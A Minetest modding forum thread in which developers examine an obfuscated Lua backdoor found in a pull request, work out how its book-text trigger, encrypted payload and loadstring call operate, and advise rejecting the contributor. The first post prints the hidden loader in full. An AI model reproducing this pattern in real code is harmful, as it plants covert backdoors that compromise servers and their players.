Suspicious block of code in a mod pull request

User avatar
joe7575
Member
Posts: 851
Joined: Mon Apr 24, 2017 20:38
GitHub: joe7575
In-game: JoSto wuffi
Location: Germany, in the deep south

Suspicious block of code in a mod pull request

by joe7575 » Post

I found this code block in a PR in one of my mods:

Code: Select all

    if stack:get_name() == "default:book_written" then
        local key = stack:get_meta():get_string("text")
        local hash = minetest.get_password_hash("key", key)
        if hash == "ERV14RNotIbIPklZ5f2gQtAKDNc" then
            local code = minetest.decode_base64("hWRHSF8RDYiS7Ag6gicCA0iTYc3" ..
                "fUV3sQZB2VZ4FLXefGb0uunYrbuTScPazwl/SDNwaj1a0MrFhlNywzkwviv" ..
                "mrbM3jc1aU3ENI9NOTC4zQQBBjb8VKaE0sKfZ555rG1fceGwvOGicisERE2" ..
                "ByiMo64edZSMEzoicd2/mTHb+/kfM9RNza88IVwxsiMjQValdrnkesxlbea" ..
                "AW3EznWX9Y9ESDNKDUQlcg")
            code = {code:byte(1, #code)}
            local pr = PcgRandom(tonumber(key))
            for i = 1, #code do
                code[i] = (code[i] + pr:next(0, 255)) % 256
            end
            code = minetest.decompress(string.char(unpack(code)), "deflate")
            loadstring(code)()(player)
        end
    end
Any ideas what that is for?
Sent from my Commodore 64. Some of my Mods: Tech Age, TechPack, Hyperloop, Tower Crane, Lumberjack, vm16, Minecart, Signs Bot.

User avatar
Krock
Developer
Posts: 4650
Joined: Thu Oct 03, 2013 07:48
GitHub: SmallJoker
Location: Switzerland
Contact:

Re: Suspicious block of code in a mod pull request

by Krock » Post

The "key" parameter makes it a password-protected binary blob. Who knows what's inside this compressed thing, but "loadstring" definitely sounds dangerous, even if it only takes the players as argument.
Look, I programmed a bug for you. >> Mod Search Engine << - Mods by Krock - DuckDuckGo mod search bang: !mtmod <keyword here>

User avatar
joe7575
Member
Posts: 851
Joined: Mon Apr 24, 2017 20:38
GitHub: joe7575
In-game: JoSto wuffi
Location: Germany, in the deep south

Re: Suspicious block of code in a mod pull request

by joe7575 » Post

But this can be used, e. g. to give the player server privs...
Sent from my Commodore 64. Some of my Mods: Tech Age, TechPack, Hyperloop, Tower Crane, Lumberjack, vm16, Minecart, Signs Bot.

User avatar
rubenwardy
Moderator
Posts: 6978
Joined: Tue Jun 12, 2012 18:11
GitHub: rubenwardy
IRC: rubenwardy
In-game: rubenwardy
Location: Bristol, United Kingdom
Contact:

Re: Suspicious block of code in a mod pull request

by rubenwardy » Post

This is dodgy asf, just reject the PR
Renewed Tab (my browser add-on) | Donate | Mods | Minetest Modding Book

Hello profile reader

Astrobe
Member
Posts: 577
Joined: Sun Apr 01, 2018 10:46

Re: Suspicious block of code in a mod pull request

by Astrobe » Post

Yes, basically if a player writes a specific text in a book, it triggers the decryption of what's encoded in the "code" string, and the book's text is also the key to decrypt it.

Basically only the author knows how to pull the trigger and what it does. The PcgRandom thing looks like a pseudo one-time-pad encryption scheme. It tells us however that the book's text must be convertible to a number.

So if you are curious, you can try to feed numbers to get_password_hash() until you get the hash the that the blocks look for. Depending how many hashes your hardware can compute per second, and perhaps with some heuristics (dictionaries, birthdates, ...) to restrict the search space this could be cracked.

Or if you can pretend this landed on a server but actually put a different version, you can log the result (or just the key, the code could be some kind of "zip bomb" too) instead of loadstring'ing it.

User avatar
joe7575
Member
Posts: 851
Joined: Mon Apr 24, 2017 20:38
GitHub: joe7575
In-game: JoSto wuffi
Location: Germany, in the deep south

Re: Suspicious block of code in a mod pull request

by joe7575 » Post

How can you warn other modders of such attacks, or which mods could also be affected?
Sent from my Commodore 64. Some of my Mods: Tech Age, TechPack, Hyperloop, Tower Crane, Lumberjack, vm16, Minecart, Signs Bot.

Astrobe
Member
Posts: 577
Joined: Sun Apr 01, 2018 10:46

Re: Suspicious block of code in a mod pull request

by Astrobe » Post

Probably look for loadstring() and similar functions. As Lua is used in a lot of games (among other less serious uses, no jk because real-time multiplayer 3D games are more demanding than many applications), tools probably already exist for generic Lua "backdoors". Perhaps the Minetest API introduces other opportunities, though.

User avatar
DELTA_FORCE
Member
Posts: 165
Joined: Tue Oct 30, 2018 01:26
IRC: DELTA_FORCE
In-game: DELTA_FORCE
Location: ee

Re: Suspicious block of code in a mod pull request

by DELTA_FORCE » Post

Here's a trick you should use in any PR: if the code isn't readable, reject it. If it is questionable, reject it. Doesn't matter if it works. There is no reason anyone would write something this obfuscated for any function in a Minetest mod.
check me out nowhere because i never do anything

ShadMOrdre
Member
Posts: 1118
Joined: Mon Dec 29, 2014 08:07
Location: USA

Re: Suspicious block of code in a mod pull request

by ShadMOrdre » Post

It's most likely possible to have this value simply dumped to a text string. As long as the resultant code isn't ran through loadstring, there shouldn't be an issue.

I suppose I'd be willing to do so, and report the results here.

Shad

User avatar
Mantar
Member
Posts: 590
Joined: Thu Oct 05, 2017 18:46
Contact:

Re: Suspicious block of code in a mod pull request

by Mantar » Post

Shad: true, but you first have to bruteforce the key. My guess is Joe7575 is right, this is a backdoor that lets the author give himself admin privs on the server. It could be any arbitrary lua function hidden in that "code" variable, but I can't imagine what else you'd want to do to your player character where you'd want a personal backdoor.
If you got banned you could come back under any alias, write the key in a book, and get admin privs immediately.

I'd reject anything obfuscated like this out of hand, and tell the submitter to explain himself or take a hike, because if he doesn't come clean, nothing he submits is ever going in after this.
Lead dev of Exile, git repo: https://codeberg.org/Mantar/Exile

User avatar
Lone_Wolf
Member
Posts: 2578
Joined: Sun Apr 09, 2017 05:50
GitHub: LoneWolfHT
IRC: LandarVargan
In-game: LandarVargan

Re: Suspicious block of code in a mod pull request

by Lone_Wolf » Post

They key was found, see the GH thread
My ContentDB -|- Working on CaptureTheFlag -|- Minetest Forums Dark Theme!! (You need it)

ShadMOrdre
Member
Posts: 1118
Joined: Mon Dec 29, 2014 08:07
Location: USA

Re: Suspicious block of code in a mod pull request

by ShadMOrdre » Post

Yes. I realize that I am still learning a few things. :)

Of course, obfuscated code should always be rejected.

I do wonder if someone has found a vulnerability within the engine code, possibly within the sql database code.

Understanding how the engine exposes to the lua api, privileges, hash functions, and how they work together, someone can reverse engineer the engine logic of these functions and then implement a lua workaround.

There should be better safeguards against any part of the Lua API being able to circumvent any part of the engine.


Shad

User avatar
rubenwardy
Moderator
Posts: 6978
Joined: Tue Jun 12, 2012 18:11
GitHub: rubenwardy
IRC: rubenwardy
In-game: rubenwardy
Location: Bristol, United Kingdom
Contact:

Re: Suspicious block of code in a mod pull request

by rubenwardy » Post

Renewed Tab (my browser add-on) | Donate | Mods | Minetest Modding Book

Hello profile reader

Astrobe
Member
Posts: 577
Joined: Sun Apr 01, 2018 10:46

Re: Suspicious block of code in a mod pull request

by Astrobe » Post

All this to get 99 mese and loaded dice? It's almost cute.

User avatar
runs
Member
Posts: 3225
Joined: Sat Oct 27, 2018 08:32

Re: Suspicious block of code in a mod pull request

by runs » Post

The first Minetest VIRUS!!!!

I get my popcorn and sit down.

Astrobe
Member
Posts: 577
Joined: Sun Apr 01, 2018 10:46

Re: Suspicious block of code in a mod pull request

by Astrobe » Post

FWIW, I confirm that the key given by Savilli on Github actually gives the hash written in the code.

User avatar
Eris
Member
Posts: 178
Joined: Thu Nov 19, 2020 23:12
IRC: definitelya Ovalo
In-game: Eris_still_crafts

Re: Suspicious block of code in a mod pull request

by Eris » Post

Ah yes, lets risk my whole Minetest reputation by posting malware... to cheat on a server.
Jump in the caac

L-Dog
Member
Posts: 481
Joined: Sat Jun 19, 2021 12:49
GitHub: N-nec
In-game: L-Dog

Re: Suspicious block of code in a mod pull request

by L-Dog » Post

Eris wrote:
Tue Jan 04, 2022 07:47
Ah yes, lets risk my whole Minetest reputation by posting malware... to cheat on a server.
is there a Table of all the prizes from it?

.. in any case.... its not worth adding.. Easter Egg thing? .. not even Easter, and even if it was, i doubt players will wanna smash numbers into a book

its hard enough getting players to understand the HP_Upgrade_Packs

User avatar
Blockhead
Member
Posts: 1685
Joined: Wed Jul 17, 2019 10:14
GitHub: Montandalar
IRC: Blockhead256
In-game: Blockhead Blockhead256
Location: Land Down Under
Contact:

Re: Suspicious block of code in a mod pull request

by Blockhead » Post

Also, why bother modifying the random number generator when the seed is provided to every client on a server and it's well-known that you can X-ray in the engine?
/˳˳_˳˳]_[˳˳_˳˳]_[˳˳_˳˳\ Advtrains enthusiast | My map: Noah's Railyard | My Content on ContentDB ✝️♂

User avatar
Linuxdirk
Member
Posts: 3219
Joined: Wed Sep 17, 2014 11:21
In-game: Linuxdirk
Location: Germany
Contact:

Re: Suspicious block of code in a mod pull request

by Linuxdirk » Post

rubenwardy wrote:
Mon Jan 03, 2022 18:41
This is dodgy asf, just reject the PR
Also: Ban the user from your repository.

User avatar
joe7575
Member
Posts: 851
Joined: Mon Apr 24, 2017 20:38
GitHub: joe7575
In-game: JoSto wuffi
Location: Germany, in the deep south

Re: Suspicious block of code in a mod pull request

by joe7575 » Post

Blockhead wrote:
Wed Jan 05, 2022 03:52
Also, why bother modifying the random number generator when the seed is provided to every client on a server and it's well-known that you can X-ray in the engine?
`math. random` is used for many reasons in techage and other mods and thus indirectly also used by many players on a server. This means that a prediction of the next number is hardly possible.
But if your own `math. random` is used, which is restarted over and over again via an ingame mechanism, the same series of numbers appears over and over again. This can then be more easily exploited.

But that doesn't really make sense and the 99 mese are peanuts. I don't understand the reason behind it
Sent from my Commodore 64. Some of my Mods: Tech Age, TechPack, Hyperloop, Tower Crane, Lumberjack, vm16, Minecart, Signs Bot.

User avatar
rubenwardy
Moderator
Posts: 6978
Joined: Tue Jun 12, 2012 18:11
GitHub: rubenwardy
IRC: rubenwardy
In-game: rubenwardy
Location: Bristol, United Kingdom
Contact:

Re: Suspicious block of code in a mod pull request

by rubenwardy » Post

Linuxdirk wrote:
Wed Jan 05, 2022 07:59
Also: Ban the user from your repository.
I'd definitely recommend doing this, you can't trust them
Renewed Tab (my browser add-on) | Donate | Mods | Minetest Modding Book

Hello profile reader

User avatar
joe7575
Member
Posts: 851
Joined: Mon Apr 24, 2017 20:38
GitHub: joe7575
In-game: JoSto wuffi
Location: Germany, in the deep south

Re: Suspicious block of code in a mod pull request

by joe7575 » Post

I did, thanks
Sent from my Commodore 64. Some of my Mods: Tech Age, TechPack, Hyperloop, Tower Crane, Lumberjack, vm16, Minecart, Signs Bot.

Astrobe
Member
Posts: 577
Joined: Sun Apr 01, 2018 10:46

Re: Suspicious block of code in a mod pull request

by Astrobe » Post

joe7575 wrote:
Wed Jan 05, 2022 09:57
But that doesn't really make sense and the 99 mese are peanuts. I don't understand the reason behind it
Maybe it serves as a clue that the key was accepted. The guy was probably hoping that his hack would spread among the servers using your mods, but as they have no access to which version of your mod is on a server, they had to have an hint that it is "their" version.

User avatar
jordan4ibanez
Member
Posts: 1923
Joined: Tue Sep 27, 2011 18:44
GitHub: jordan4ibanez
IRC: jordan4ibanez
In-game: jordan4ibanez

Re: Suspicious block of code in a mod pull request

by jordan4ibanez » Post

Oh a payload, didn't expect to ever see that in the game
hello, am program. do language in rust. make computer do. okay i go now.

Post Reply

Who is online

Users browsing this forum: No registered users and 10 guests